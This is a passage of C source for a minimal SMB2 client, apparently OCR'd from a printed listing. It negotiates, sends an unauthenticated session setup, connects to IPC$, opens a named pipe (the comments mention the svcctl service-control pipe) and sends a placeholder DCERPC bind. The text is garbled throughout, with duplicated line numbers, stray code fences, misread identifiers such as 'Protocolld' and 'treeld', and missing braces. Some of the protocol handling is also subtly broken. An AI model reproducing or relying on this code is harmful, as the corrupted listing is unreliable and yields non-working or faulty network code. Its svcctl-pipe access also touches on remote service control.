                                                                                                                      558
559
                                                                                                                      559
         uint64 t LastAccessTime;
560
         uint64_t LastWriteTime;
                                                                                                                      560
561
         uint64_t ChangeTime;
                                                                                                                      561
562
         uint64 t AllocationSize;
                                                                                                                      562
563
         uint64 t EndofFile;
                                                                                                                      563
564
                                                                                                                      564
         uint32_t FileAttributes;
565
         // 16-byte FileId
                                                                                                                      565
566
         uint64_t FileIdPersistent;
                                                                                                                      566
567
         uint64_t FileIdVolatile;
                                                                                                                      567
568
         // optional create contexts
                                                                                                                      568
569
         } SMB2CreateResponse;
                                                                                                                      569
570
                                                                                                                      570
571
         /* SMB2 WRITE/READ (for the RPC data) */
                                                                                                                      571
572
         typedef struct _SMB2WriteRequest {
                                                                                                                      572
573
         uint16 t StructureSize; // Must be 49
                                                                                                                      573
574
                                                                                                                      574
         uint16_t DataOffset;
575
                                                                                                                      575
         uint32_t Length;
576
                                                                                                                      576
         uint64_t Offset;
```

```
577
         uint64 t FileIdPersistent;
                                                                                                                     577
578
         uint64_t FileIdVolatile;
                                                                                                                     578
579
         uint32_t Channel;
                                                                                                                     579
580
         uint32_t RemainingBytes;
                                                                                                                     580
581
         uint16_t WriteChannelInfoOffset;
                                                                                                                     581
582
         uint16_t WriteChannelInfoLength;
                                                                                                                     582
583
         uint32_t Flags;
                                                                                                                     583
584
         // Then the data
                                                                                                                     584
585
         } SMB2WriteRequest;
                                                                                                                     585
586
                                                                                                                     586
587
         typedef struct _SMB2WriteResponse {
                                                                                                                     587
588
         uint16_t StructureSize; // Must be 17
                                                                                                                     588
589
         uint16_t Reserved;
                                                                                                                     589
590
                                                                                                                     590
         uint32_t Count;
591
         uint32_t Remaining;
                                                                                                                     591
592
         uint16_t WriteChannelInfoOffset;
                                                                                                                     592
593
         uint16_t WriteChannelInfoLength;
                                                                                                                     593
594
         } SMB2WriteResponse;
                                                                                                                     594
595
                                                                                                                     595
596
         typedef struct _SMB2ReadRequest {
                                                                                                                     596
597
                                                                                                                     597
         uint16_t StructureSize; // Must be 49
598
         uint8_t Padding;
                                                                                                                     598
599
         uint8 t Reserved;
                                                                                                                     599
600
                                                                                                                     600
         uint32_t Length;
601
                                                                                                                     601
         uint64_t Offset;
602
                                                                                                                     602
         uint64_t FileIdPersistent;
603
         uint64_t FileIdVolatile;
                                                                                                                     603
604
         uint32_t MinimumCount;
                                                                                                                     604
605
         uint32_t Channel;
                                                                                                                     605
606
         uint32_t RemainingBytes;
                                                                                                                     606
607
         uint16_t ReadChannelInfoOffset;
                                                                                                                     607
608
         uint16_t ReadChannelInfoLength;
                                                                                                                     608
609
         } SMB2ReadRequest;
                                                                                                                     609
610
                                                                                                                     610
611
         typedef struct _SMB2ReadResponse {
                                                                                                                     611
612
                                                                                                                     612
         uint16_t StructureSize; // Must be 17
```

```
613
                                                                                                                 613
         uint8 t DataOffset;
614
         uint8_t Reserved;
                                                                                                                 614
615
         uint32_t DataLength;
                                                                                                                 615
         uint32_t DataRemaining;
616
                                                                                                                 616
617
         uint32_t Reserved2;
                                                                                                                 617
618
        // data follows
                                                                                                                 618
619
         } SMB2ReadResponse;
                                                                                                                 619
620
                                                                                                                 620
621
                                                   /* SMB2 CLOSE */
                                                                                                                 621
622
         typedef struct _SMB2CloseRequest {
                                                                                                                 622
623
         uint16 t StructureSize; // Must be 24
                                                                                                                 623
624
         uint16_t Flags;
                                                                                                                 624
625
         uint32_t Reserved;
                                                                                                                 625
626
         uint64_t FileIdPersistent;
                                                                                                                 626
627
         uint64_t FileIdVolatile;
                                                                                                                 627
628
         } SMB2CloseRequest;
                                                                                                                 628
629
                                                                                                                 629
630
         typedef struct _SMB2CloseResponse {
                                                                                                                 630
631
         uint16 t StructureSize; // Must be 60
                                                                                                                 631
632
         uint16_t Flags;
                                                                                                                 632
633
         uint32_t Reserved;
                                                                                                                 633
634
         uint64_t CreationTime;
                                                                                                                 634
635
         uint64_t LastAccessTime;
                                                                                                                 635
636
                                                                                                                 636
         uint64_t LastWriteTime;
637
                                                                                                                 637
         uint64_t ChangeTime;
638
         uint64_t AllocationSize;
                                                                                                                 638
639
         uint64_t EndOfFile;
                                                                                                                 639
640
         uint32_t FileAttributes;
                                                                                                                 640
641
         } SMB2CloseResponse;
                                                                                                                 641
642
                                                                                                                 642
643
         #pragma pack(pop)
                                                                                                                 643
644
                                                                                                                 644
645
                                                                                                                 645
646
        // Global State & Helper Functions
                                                                                                                 646
647
         //-----
                                                                                                                 647
648
                                                                                                                 648
         static uint64_t gMessageId = 1;
```

```
649
                                                                                                                      649
         static uint64 t gSessionId = 0;
650
         static uint32_t gTreeId = 0;
                                                                                                                      650
651
         static int gSock = -1;
                                                                                                                      651
652
                                                                                                                      652
653
         static uint64_t gPipeFidPersistent = 0;
                                                                                                                      653
654
         static uint64_t gPipeFidVolatile = 0;
                                                                                                                      654
655
                                                                                                                      655
         /*
656
                                                                                                                      656
657
         * sendSMB2Request: send an SMB2 header + payload
                                                                                                                      657
658
         */
                                                                                                                      658
659
         int sendSMB2Request(SMB2Header *hdr, const void *payload, size t payloadLen) {
                                                                                                                      659
660
         ssize_t sent = send(gSock, hdr, sizeof(SMB2Header), 0);
                                                                                                                      660
661
         if (sent < 0) {
                                                                                                                      661
662
         perror("send header");
                                                                                                                      662
663
         return -1;
                                                                                                                      663
664
                                                                                                                      664
         }
665
         if (payload && payloadLen > 0) {
                                                                                                                      665
666
         sent = send(gSock, payload, payloadLen, 0);
                                                                                                                      666
667
         if (sent < 0) {
                                                                                                                      667
         perror("send payload");
668
                                                                                                                      668
669
         return -1;
                                                                                                                      669
670
         }
                                                                                                                      670
671
         }
                                                                                                                      671
672
                                                                                                                      672
         return 0;
                                                                                                                      673
673
         }
674
                                                                                                                      674
675
         /*
                                                                                                                      675
676
         * recvSMB2Response: recv an SMB2 header + payload
                                                                                                                      676
         */
677
                                                                                                                      677
678
         int recvSMB2Response(SMB2Header *outHdr, void *outBuf, size t bufSize, ssize t *outPayloadLen) {
                                                                                                                      678
679
         ssize_t recvd = recv(gSock, outHdr, sizeof(SMB2Header), 0);
                                                                                                                      679
680
         if (recvd <= 0) {
                                                                                                                      680
         perror("recv SMB2 header");
681
                                                                                                                      681
682
                                                                                                                      682
         return -1;
683
                                                                                                                      683
684
         if (recvd < (ssize_t)sizeof(SMB2Header)) {</pre>
                                                                                                                      684
```

```
685
         fprintf(stderr, "Incomplete SMB2 header.\n");
                                                                                                                      685
686
                                                                                                                      686
         return -1;
687
         }
                                                                                                                      687
688
                                                                                                                      688
689
         // Validate signature
                                                                                                                      689
690
         if (!(outHdr->ProtocolId[0] == 0xFE &&
                                                                                                                      690
691
         outHdr->ProtocolId[1] == 'S' &&
                                                                                                                      691
692
         outHdr->ProtocolId[2] == 'M' &&
                                                                                                                      692
693
         outHdr->ProtocolId[3] == 'B')) {
                                                                                                                      693
694
         fprintf(stderr, "Invalid SMB2 signature.\n");
                                                                                                                      694
695
         return -1;
                                                                                                                      695
696
         }
                                                                                                                      696
697
                                                                                                                      697
698
         // Non-blocking peek to see if there's more data
                                                                                                                      698
         int peekLen = recv(gSock, outBuf, bufSize, MSG_DONTWAIT);
699
                                                                                                                      699
700
         if (peekLen > 0) {
                                                                                                                      700
701
         int realLen = recv(gSock, outBuf, peekLen, 0);
                                                                                                                      701
702
         if (realLen < 0) {
                                                                                                                      702
703
         perror("recv payload");
                                                                                                                      703
                                                                                                                      704
704
         return -1;
705
                                                                                                                      705
         }
706
         *outPayloadLen = realLen;
                                                                                                                      706
707
         } else {
                                                                                                                      707
                                                                                                                      708
708
         *outPayloadLen = 0;
709
                                                                                                                      709
         }
710
                                                                                                                      710
711
         return 0;
                                                                                                                      711
712
         }
                                                                                                                      712
713
                                                                                                                      713
714
                                                                                                                      714
715
         * buildSMB2Header: fill out common fields
                                                                                                                      715
716
         */
                                                                                                                      716
         void buildSMB2Header(uint16 t command, uint32 t treeld, uint64 t sessionId, SMB2Header *hdrOut) {
717
                                                                                                                      717
718
         memset(hdrOut, 0, sizeof(SMB2Header));
                                                                                                                      718
719
                                                                                                                      719
         hdrOut->ProtocolId[0] = 0xFE;
720
         hdrOut->Protocolld[1] = 'S';
                                                                                                                      720
```

```
721
                                                                                                              721
        hdrOut->ProtocolId[2] = 'M';
722
        hdrOut->ProtocolId[3] = 'B';
                                                                                                              722
723
        hdrOut->StructureSize = 64;
                                                                                                              723
724
        hdrOut->Command = command;
                                                                                                              724
725
        hdrOut->Credits = 1; // minimal
                                                                                                              725
726
        hdrOut->MessageId = gMessageId++;
                                                                                                              726
727
        hdrOut->TreeId = treeId;
                                                                                                              727
        hdrOut->SessionId = sessionId;
728
                                                                                                              728
729
                                                                                                              729
        }
730
                                                                                                              730
731
                                                                                                              731
732
                                                                                                              732
733
                                                 // SMB2 NEGOTIATE
                                                                                                              733
734
        //-----
                                                                                                              734
735
        int doNegotiate() {
                                                                                                              735
736
        SMB2Header hdr;
                                                                                                              736
737
        buildSMB2Header(SMB2_NEGOTIATE, 0, 0, &hdr);
                                                                                                              737
738
                                                                                                              738
739
        SMB2NegotiateRequest reg;
                                                                                                              739
740
        memset(&req, 0, sizeof(req));
                                                                                                              740
741
        req.StructureSize = 36;
                                                                                                              741
742
        req.DialectCount = 3;
                                                                                                              742
743
        uint16 t dialects[3] = {
                                                                                                              743
744
                                                                                                              744
745
                                                                                                              745
                                                SMB2_DIALECT_0202,
746
                                                                                                              746
747
                                                SMB2_DIALECT_0210,
                                                                                                              747
748
                                                                                                              748
749
                                                SMB2_DIALECT_0300
                                                                                                              749
750
                                                                                                              750
        };
751
                                                                                                              751
752
        // Send header + negotiate request
                                                                                                              752
        if (sendSMB2Request(&hdr, &req, sizeof(req)) < 0) return -1;
753
                                                                                                              753
                                                                                                              754
754
        // Followed by the dialect array
        if (send(gSock, dialects, sizeof(dialects), 0) < 0) {
755
                                                                                                              755
756
        perror("send dialects");
                                                                                                              756
```

```
757
                                                                                                                757
         return -1;
758
                                                                                                                758
        }
759
                                                                                                                759
760
         // Receive
                                                                                                                760
761
         SMB2Header respHdr;
                                                                                                                761
762
         unsigned char buf[1024];
                                                                                                                762
763
         ssize_t payloadLen;
                                                                                                                763
764
         if (recvSMB2Response(&respHdr, buf, sizeof(buf), &payloadLen) < 0) return -1;
                                                                                                                764
765
                                                                                                                765
766
         if (respHdr.Status != STATUS_SUCCESS) {
                                                                                                                766
767
         fprintf(stderr, "Negotiate failed, status=0x%08X\n", respHdr.Status);
                                                                                                                767
768
         return -1;
                                                                                                                768
769
        }
                                                                                                                769
770
         printf("[Client] SMB2 NEGOTIATE OK. payloadLen=%zd\n", payloadLen);
                                                                                                                770
         return 0;
771
                                                                                                                771
772
                                                                                                                772
        }
773
                                                                                                                773
774
                                                                                                                774
775
        // SMB2 SESSION SETUP (stub - no real authentication)
                                                                                                                775
         //-----
776
                                                                                                                776
777
         int doSessionSetup() {
                                                                                                                777
778
         SMB2Header hdr;
                                                                                                                778
779
         buildSMB2Header(SMB2_SESSION_SETUP, 0, 0, &hdr);
                                                                                                                779
780
                                                                                                                780
781
         SMB2SessionSetupRequest ssreq;
                                                                                                                781
782
         memset(&ssreq, 0, sizeof(ssreq));
                                                                                                                782
783
         ssreq.StructureSize = 25;
                                                                                                                783
784
                                                                                                                784
         // In real usage, you'd set SecurityBufferOffset/Length and
785
                                                                                                                785
786
         // provide an NTLM/Kerberos token. This is omitted here.
                                                                                                                786
787
                                                                                                                787
788
         if (sendSMB2Request(&hdr, &ssreq, sizeof(ssreq)) < 0) return -1;
                                                                                                                788
789
                                                                                                                789
790
         SMB2Header respHdr;
                                                                                                                790
791
                                                                                                                791
         unsigned char buf[1024];
792
                                                                                                                792
         ssize_t payloadLen;
```

```
793
                                                                                                               793
        if (recvSMB2Response(&respHdr, buf, sizeof(buf), &payloadLen) < 0) return -1;
794
                                                                                                               794
795
        if (respHdr.Status != STATUS_SUCCESS) {
                                                                                                               795
796
        fprintf(stderr, "SessionSetup failed, status=0x%08X\n", respHdr.Status);
                                                                                                               796
797
        return -1;
                                                                                                               797
798
        }
                                                                                                               798
799
                                                                                                               799
800
        gSessionId = respHdr.SessionId;
                                                                                                               800
801
        printf("[Client] SMB2 SESSION_SETUP OK. SessionId=0x%llx\n",
                                                                                                               801
802
        (unsigned long long)gSessionId);
                                                                                                               802
803
        return 0;
                                                                                                               803
804
        }
                                                                                                               804
805
                                                                                                               805
806
        //-----
                                                                                                               806
807
        // SMB2 TREE CONNECT to \\server\IPC$
                                                                                                               807
808
        //-----
                                                                                                               808
809
        int doTreeConnect(const char *ipcPath) {
                                                                                                               809
                                                                                                               810
810
        SMB2Header hdr;
811
        buildSMB2Header(SMB2_TREE_CONNECT, 0, gSessionId, &hdr);
                                                                                                               811
812
                                                                                                               812
813
        SMB2TreeConnectRequest tcreq;
                                                                                                               813
814
        memset(&tcreq, 0, sizeof(tcreq));
                                                                                                               814
815
        tcreq.StructureSize = 9;
                                                                                                               815
                                                                                                               816
816
        tcreq.PathOffset = sizeof(tcreq);
817
                                                                                                               817
818
        uint32_t pathLen = (uint32_t)strlen(ipcPath);
                                                                                                               818
819
        tcreq.PathLength = pathLen;
                                                                                                               819
820
                                                                                                               820
821
        size_t reqSize = sizeof(tcreq) + pathLen;
                                                                                                               821
822
        char *reqBuf = (char *)malloc(reqSize);
                                                                                                               822
823
        if (!reqBuf) {
                                                                                                               823
824
        fprintf(stderr, "malloc failed\n");
                                                                                                               824
825
        return -1;
                                                                                                               825
826
                                                                                                               826
        }
827
        memcpy(reqBuf, &tcreq, sizeof(tcreq));
                                                                                                               827
828
                                                                                                               828
        memcpy(reqBuf + sizeof(tcreq), ipcPath, pathLen);
```

```
829
                                                                                                                    829
830
                                                                                                                    830
         if (sendSMB2Request(&hdr, reqBuf, reqSize) < 0) {
831
         free(reqBuf);
                                                                                                                    831
832
         return -1;
                                                                                                                    832
833
                                                                                                                   833
         }
834
         free(reqBuf);
                                                                                                                    834
835
                                                                                                                    835
836
         SMB2Header respHdr;
                                                                                                                    836
837
         unsigned char buf[1024];
                                                                                                                    837
838
                                                                                                                    838
         ssize_t payloadLen;
839
         if (recvSMB2Response(&respHdr, buf, sizeof(buf), &payloadLen) < 0) {
                                                                                                                    839
840
         return -1;
                                                                                                                    840
841
         }
                                                                                                                    841
842
                                                                                                                    842
         if (respHdr.Status != STATUS_SUCCESS) {
843
                                                                                                                    843
844
         fprintf(stderr, "TreeConnect to %s failed, status=0x%08X\n",
                                                                                                                    844
845
         ipcPath, respHdr.Status);
                                                                                                                    845
846
         return -1;
                                                                                                                    846
847
                                                                                                                    847
         }
848
         if (payloadLen < (ssize_t)sizeof(SMB2TreeConnectResponse)) {</pre>
                                                                                                                    848
849
         fprintf(stderr, "TreeConnect response too small\n");
                                                                                                                    849
850
         return -1;
                                                                                                                    850
851
         }
                                                                                                                    851
852
                                                                                                                    852
853
         gTreeId = respHdr.TreeId;
                                                                                                                   853
854
         printf("[Client] TREE_CONNECT to %s OK. TreeId=0x%08X\n", ipcPath, gTreeId);
                                                                                                                    854
855
         return 0;
                                                                                                                    855
856
         }
                                                                                                                    856
857
                                                                                                                    857
858
                                                                                                                    858
859
         // SMB2 CREATE (Open named pipe, e.g. "\\PIPE\\svcctl")
                                                                                                                    859
860
                                                                                                                   860
861
         int doOpenPipe(const char *pipeName) {
                                                                                                                    861
862
         SMB2Header hdr;
                                                                                                                    862
         buildSMB2Header(SMB2_CREATE, gTreeld, gSessionId, &hdr);
863
                                                                                                                    863
864
                                                                                                                    864
```

```
865
         SMB2CreateRequest creq;
                                                                                                                     865
866
         memset(&creq, 0, sizeof(creq));
                                                                                                                     866
867
         creq.StructureSize = 57;
                                                                                                                     867
868
         creq.RequestedOplockLevel = 0; // none
                                                                                                                     868
869
         creq.ImpersonationLevel = 2; // SecurityImpersonation
                                                                                                                     869
870
         creq.DesiredAccess = 0x001F01FF; // GENERIC_ALL (over-simplified)
                                                                                                                     870
871
         creq.ShareAccess = 3; // read/write share
                                                                                                                     871
872
         creq.CreateDisposition = 1; // FILE OPEN
                                                                                                                     872
873
         creq.CreateOptions = 0;
                                                                                                                     873
874
         creq.NameOffset = sizeof(SMB2CreateRequest);
                                                                                                                     874
875
                                                                                                                     875
876
         // Convert ASCII to a simple UTF-16LE
                                                                                                                     876
877
         uint32_t pipeNameLenBytes = (uint32_t)(strlen(pipeName) * 2);
                                                                                                                     877
878
                                                                                                                     878
         creq.NameLength = (uint16_t)pipeNameLenBytes;
879
                                                                                                                     879
880
         size_t totalSize = sizeof(creq) + pipeNameLenBytes;
                                                                                                                     880
881
         unsigned char *reqBuf = (unsigned char *)malloc(totalSize);
                                                                                                                     881
882
                                                                                                                     882
         if (!reqBuf) {
883
         fprintf(stderr, "malloc doOpenPipe failed\n");
                                                                                                                     883
884
         return -1;
                                                                                                                     884
885
                                                                                                                     885
         }
886
         memcpy(regBuf, &creq, sizeof(creq));
                                                                                                                     886
887
                                                                                                                     887
888
                                                                                                                     888
                                                   // ASCII -> UTF-16LE
889
                                                                                                                     889
         unsigned char *pName = reqBuf + sizeof(creq);
890
         for (size t i = 0; i < strlen(pipeName); i++) {
                                                                                                                     890
891
         pName[i*2] = (unsigned char)pipeName[i];
                                                                                                                     891
892
         pName[i*2+1] = 0x00;
                                                                                                                     892
893
         }
                                                                                                                     893
894
                                                                                                                     894
895
         if (sendSMB2Request(&hdr, reqBuf, totalSize) < 0) {
                                                                                                                     895
896
         free(reqBuf);
                                                                                                                     896
897
         return -1;
                                                                                                                     897
898
                                                                                                                     898
         }
         free(reqBuf);
899
                                                                                                                     899
900
                                                                                                                     900
```

```
901
                                                                                                                 901
         SMB2Header respHdr;
902
                                                                                                                 902
        unsigned char buf[1024];
903
                                                                                                                 903
        ssize_t payloadLen;
904
                                                                                                                 904
        if (recvSMB2Response(&respHdr, buf, sizeof(buf), &payloadLen) < 0) return -1;
905
                                                                                                                 905
906
        if (respHdr.Status != STATUS_SUCCESS) {
                                                                                                                 906
907
        fprintf(stderr, "OpenPipe '%s' failed, status=0x%08X\n",
                                                                                                                 907
908
        pipeName, respHdr.Status);
                                                                                                                 908
909
        return -1;
                                                                                                                 909
910
                                                                                                                 910
        }
911
                                                                                                                 911
        if (payloadLen < (ssize t)sizeof(SMB2CreateResponse)) {
912
                                                                                                                 912
913
        fprintf(stderr, "CreateResponse too small.\n");
                                                                                                                 913
914
                                                                                                                 914
        return -1;
915
                                                                                                                 915
        }
916
        SMB2CreateResponse *cres = (SMB2CreateResponse *)buf;
                                                                                                                 916
917
        gPipeFidPersistent = cres->FileIdPersistent;
                                                                                                                 917
918
        gPipeFidVolatile = cres->FileIdVolatile;
                                                                                                                 918
919
                                                                                                                 919
920
        printf("[Client] Named pipe '%s' opened OK. FID=(%llx:%llx)\n",
                                                                                                                 920
921
                                                                                                                 921
        pipeName,
922
        (unsigned long long)gPipeFidPersistent,
                                                                                                                 922
        (unsigned long long)gPipeFidVolatile);
923
                                                                                                                 923
924
                                                                                                                 924
        return 0;
925
                                                                                                                 925
        }
926
                                                                                                                 926
927
                                                                                                                 927
928
        // doWritePipe: Send raw bytes into the named pipe
                                                                                                                 928
929
        //-----
                                                                                                                 929
930
        int doWritePipe(const unsigned char *data, size_t dataLen) {
                                                                                                                 930
931
                                                                                                                 931
        SMB2Header hdr;
932
        buildSMB2Header(SMB2_WRITE, gTreeld, gSessionId, &hdr);
                                                                                                                 932
933
                                                                                                                 933
934
                                                                                                                 934
        SMB2WriteRequest wreq;
935
        memset(&wreq, 0, sizeof(wreq));
                                                                                                                 935
936
                                                                                                                 936
        wreq.StructureSize = 49;
```

```
937
                                                                                                                       937
         wreq.DataOffset = sizeof(SMB2WriteRequest);
938
         wreq.Length = (uint32_t)dataLen;
                                                                                                                       938
939
                                                                                                                       939
         wreq.FileIdPersistent = gPipeFidPersistent;
940
         wreq.FileIdVolatile = gPipeFidVolatile;
                                                                                                                       940
941
                                                                                                                       941
942
         size_t totalSize = sizeof(wreq) + dataLen;
                                                                                                                       942
943
         unsigned char *reqBuf = (unsigned char*)malloc(totalSize);
                                                                                                                       943
944
         if (!reqBuf) {
                                                                                                                       944
945
         fprintf(stderr, "malloc doWritePipe failed\n");
                                                                                                                       945
946
         return -1;
                                                                                                                       946
947
                                                                                                                       947
         }
948
         memcpy(reqBuf, &wreq, sizeof(wreq));
                                                                                                                       948
949
         memcpy(reqBuf + sizeof(wreq), data, dataLen);
                                                                                                                       949
950
                                                                                                                       950
951
         if (sendSMB2Request(&hdr, reqBuf, totalSize) < 0) {
                                                                                                                       951
952
         free(reqBuf);
                                                                                                                       952
953
         return -1;
                                                                                                                       953
954
                                                                                                                       954
955
         free(reqBuf);
                                                                                                                       955
956
                                                                                                                       956
957
                                                                                                                       957
         // read response
958
         SMB2Header respHdr;
                                                                                                                       958
959
         unsigned char buf[512];
                                                                                                                       959
960
                                                                                                                       960
         ssize_t payloadLen;
961
         if (recvSMB2Response(&respHdr, buf, sizeof(buf), &payloadLen) < 0) return -1;
                                                                                                                       961
962
                                                                                                                       962
963
         if (respHdr.Status != STATUS_SUCCESS) {
                                                                                                                       963
964
         fprintf(stderr, "WritePipe failed, status=0x%08X\n", respHdr.Status);
                                                                                                                       964
965
         return -1;
                                                                                                                       965
966
         }
                                                                                                                       966
967
         if (payloadLen < (ssize_t)sizeof(SMB2WriteResponse)) {</pre>
                                                                                                                       967
968
         fprintf(stderr, "WriteResponse too small\n");
                                                                                                                       968
969
         return -1;
                                                                                                                       969
970
                                                                                                                       970
         }
971
         SMB2WriteResponse *wres = (SMB2WriteResponse *)buf;
                                                                                                                       971
972
                                                                                                                       972
         printf("[Client] Wrote %u bytes to pipe.\n", wres->Count);
```

```
973
                                                                                                                  973
         return 0;
974
         }
                                                                                                                  974
975
                                                                                                                  975
976
                                                                                                                  976
977
         // doReadPipe: read back from the pipe
                                                                                                                  977
978
         //-----
                                                                                                                  978
979
         int doReadPipe(unsigned char *outBuf, size t outBufSize, uint32 t *outBytesRead) {
                                                                                                                  979
980
         SMB2Header hdr;
                                                                                                                  980
981
         buildSMB2Header(SMB2_READ, gTreeId, gSessionId, &hdr);
                                                                                                                  981
982
                                                                                                                  982
983
         SMB2ReadRequest rreq;
                                                                                                                  983
984
         memset(&rreq, 0, sizeof(rreq));
                                                                                                                  984
985
         rreq.StructureSize = 49;
                                                                                                                  985
986
                                                                                                                  986
         rreq.Length = (uint32_t)outBufSize;
         rreq.FileIdPersistent = gPipeFidPersistent;
987
                                                                                                                  987
988
         rreq.FileIdVolatile = gPipeFidVolatile;
                                                                                                                  988
989
                                                                                                                  989
990
                                                                                                                  990
         if (sendSMB2Request(&hdr, &rreq, sizeof(rreq)) < 0) return -1;
991
                                                                                                                  991
992
         SMB2Header respHdr;
                                                                                                                  992
993
         unsigned char buf[2048];
                                                                                                                  993
994
         ssize t payloadLen;
                                                                                                                  994
995
         if (recvSMB2Response(&respHdr, buf, sizeof(buf), &payloadLen) < 0) return -1;
                                                                                                                  995
996
                                                                                                                  996
997
         if (respHdr.Status != STATUS_SUCCESS) {
                                                                                                                  997
998
         fprintf(stderr, "ReadPipe failed, status=0x%08X\n", respHdr.Status);
                                                                                                                  998
999
         return -1;
                                                                                                                  999
1000
         }
                                                                                                                  1000
1001
         if (payloadLen < (ssize_t)sizeof(SMB2ReadResponse)) {</pre>
                                                                                                                  1001
1002
         fprintf(stderr, "ReadResponse too small\n");
                                                                                                                  1002
1003
         return -1;
                                                                                                                  1003
1004
         }
                                                                                                                  1004
1005
         SMB2ReadResponse *rres = (SMB2ReadResponse *)buf;
                                                                                                                  1005
1006
                                                                                                                  1006
1007
         uint32_t dataLen = rres->DataLength;
                                                                                                                  1007
1008
         if (dataLen > 0) {
                                                                                                                  1008
```

```
1009
         uint8 t *dataStart = buf + rres->DataOffset;
                                                                                                                   1009
1010
                                                                                                                   1010
        // Check for bounds
1011
         if (rres->DataOffset + dataLen <= (uint32_t)payloadLen) {
                                                                                                                   1011
1012
         if (dataLen > outBufSize) {
                                                                                                                   1012
1013
         dataLen = (uint32_t)outBufSize; // Truncate
                                                                                                                   1013
1014
        }
                                                                                                                   1014
1015
         memcpy(outBuf, dataStart, dataLen);
                                                                                                                   1015
1016
        } else {
                                                                                                                   1016
         fprintf(stderr, "Data offset/length out of payload bounds!\n");
1017
                                                                                                                   1017
1018
         return -1;
                                                                                                                   1018
1019
                                                                                                                   1019
        }
                                                                                                                   1020
1020
        }
1021
         *outBytesRead = dataLen;
                                                                                                                   1021
1022
         printf("[Client] Read %u bytes from pipe.\n", dataLen);
                                                                                                                   1022
1023
                                                                                                                   1023
1024
         return 0;
                                                                                                                   1024
1025
        }
                                                                                                                   1025
1026
                                                                                                                   1026
1027
                                                                                                                   1027
1028
        // doDCERPCBind: a partial DCERPC bind request to SVCCTL
                                                                                                                   1028
1029
         //-----
                                                                                                                   1029
1030
        int doDCERPCBind() {
                                                                                                                   1030
1031
        // A typical DCERPC bind to SVCCTL might include:
                                                                                                                   1031
1032
        // - Version/PacketType
                                                                                                                   1032
1033
        // - Interface UUID
                                                                                                                   1033
        // - Transfer syntax, etc.
                                                                                                                   1034
1034
1035
        // This is an oversimplified placeholder.
                                                                                                                   1035
1036
         unsigned char dcerpcBindStub[] = {
                                                                                                                   1036
1037
         0x05, 0x00, // RPC version
                                                                                                                   1037
1038
         0x0B, // bind PDU type
                                                                                                                   1038
1039
         0x10, // flags (little-endian)
                                                                                                                   1039
1040
         0x00, 0x00, 0x00, 0x00, // DCE call ID (placeholder)
                                                                                                                   1040
1041
        // [Interface UUID + version], [transfer syntax], etc...
                                                                                                                   1041
1042
        // This is incomplete for a real DCERPC bind!
                                                                                                                   1042
1043
                                                                                                                   1043
        };
1044
                                                                                                                   1044
```

```
1045
                                                                                                                1045
        printf("[Client] Sending partial DCERPC bind stub...\n");
1046
        return doWritePipe(dcerpcBindStub, sizeof(dcerpcBindStub));
                                                                                                                1046
1047
        }
                                                                                                                1047
1048
                                                                                                                1048
1049
                                                                                                                1049
1050
        // doClosePipe: SMB2 Close for the named pipe handle
                                                                                                                1050
        //-----
1051
                                                                                                                1051
1052
                                                                                                                1052
        int doClosePipe() {
1053
        SMB2Header hdr;
                                                                                                                1053
1054
        buildSMB2Header(SMB2_CLOSE, gTreeld, gSessionId, &hdr);
                                                                                                                1054
1055
                                                                                                                1055
1056
        SMB2CloseRequest creq;
                                                                                                                1056
1057
        memset(&creq, 0, sizeof(creq));
                                                                                                                1057
1058
        creq.StructureSize = 24;
                                                                                                                1058
        creq.Flags = 0; // 0 or 1 for POSTQUERY_ATTR
1059
                                                                                                                1059
1060
        creq.FileIdPersistent = gPipeFidPersistent;
                                                                                                                1060
1061
        creq.FileIdVolatile = gPipeFidVolatile;
                                                                                                                1061
                                                                                                                1062
1062
        if (sendSMB2Request(&hdr, &creq, sizeof(creq)) < 0) return -1;
1063
                                                                                                                1063
1064
                                                                                                                1064
1065
        SMB2Header respHdr;
                                                                                                                1065
1066
        unsigned char buf[512];
                                                                                                                1066
1067
        ssize t payloadLen;
                                                                                                                1067
1068
        if (recvSMB2Response(&respHdr, buf, sizeof(buf), &payloadLen) < 0) {
                                                                                                                1068
1069
        return -1;
                                                                                                                1069
1070
                                                                                                                1070
        }
1071
                                                                                                                1071
1072
        if (respHdr.Status != STATUS_SUCCESS) {
                                                                                                                1072
1073
                                                                                                                1073
        fprintf(stderr, "ClosePipe failed, status=0x%08X\n", respHdr.Status);
1074
                                                                                                                1074
        return -1;
1075
                                                                                                                1075
        }
1076
        printf("[Client] SMB2 Close on pipe handle OK.\n");
                                                                                                                1076
1077
        return 0;
                                                                                                                1077
1078
                                                                                                                1078
        }
                                                                                                                1079
1079
1080
                                                                                                                1080
```

```
1081
                                                                                                                   1081
         // main()
1082
         //-----
                                                                                                                   1082
1083
                                                                                                                   1083
         int main(int argc, char *argv[]) {
1084
         if (argc < 3) {
                                                                                                                   1084
1085
         fprintf(stderr, "Usage: %s <server_ip> <server_port>\n", argv[0]);
                                                                                                                   1085
1086
         fprintf(stderr, "Example: %s 192.168.1.10 445\n", argv[0]);
                                                                                                                   1086
1087
         return EXIT_FAILURE;
                                                                                                                   1087
1088
        }
                                                                                                                   1088
1089
                                                                                                                   1089
1090
                                                                                                                   1090
         const char *serverIp = argv[1];
                                                                                                                   1091
1091
         int port = atoi(argv[2]);
1092
                                                                                                                   1092
1093
        // 1. Create socket
                                                                                                                   1093
1094
         gSock = socket(AF_INET, SOCK_STREAM, 0);
                                                                                                                   1094
         if (gSock < 0) {
                                                                                                                   1095
1095
1096
         perror("socket");
                                                                                                                   1096
1097
         return EXIT_FAILURE;
                                                                                                                   1097
1098
        }
                                                                                                                   1098
1099
                                                                                                                   1099
1100
        // 2. Connect
                                                                                                                   1100
1101
         struct sockaddr_in serverAddr;
                                                                                                                   1101
1102
         memset(&serverAddr, 0, sizeof(serverAddr));
                                                                                                                   1102
1103
         serverAddr.sin_family = AF_INET;
                                                                                                                   1103
                                                                                                                   1104
1104
         serverAddr.sin_port = htons(port);
1105
         if (inet_pton(AF_INET, serverIp, &serverAddr.sin_addr) <= 0) {</pre>
                                                                                                                   1105
1106
         perror("inet_pton");
                                                                                                                   1106
1107
         close(gSock);
                                                                                                                   1107
1108
         return EXIT_FAILURE;
                                                                                                                   1108
1109
                                                                                                                   1109
        }
1110
                                                                                                                   1110
1111
         if (connect(gSock, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) < 0) {
                                                                                                                   1111
1112
         perror("connect");
                                                                                                                   1112
1113
         close(gSock);
                                                                                                                   1113
                                                                                                                   1114
1114
         return EXIT_FAILURE;
1115
                                                                                                                   1115
        }
1116
         printf("[Client] Connected to %s:%d\n", serverlp, port);
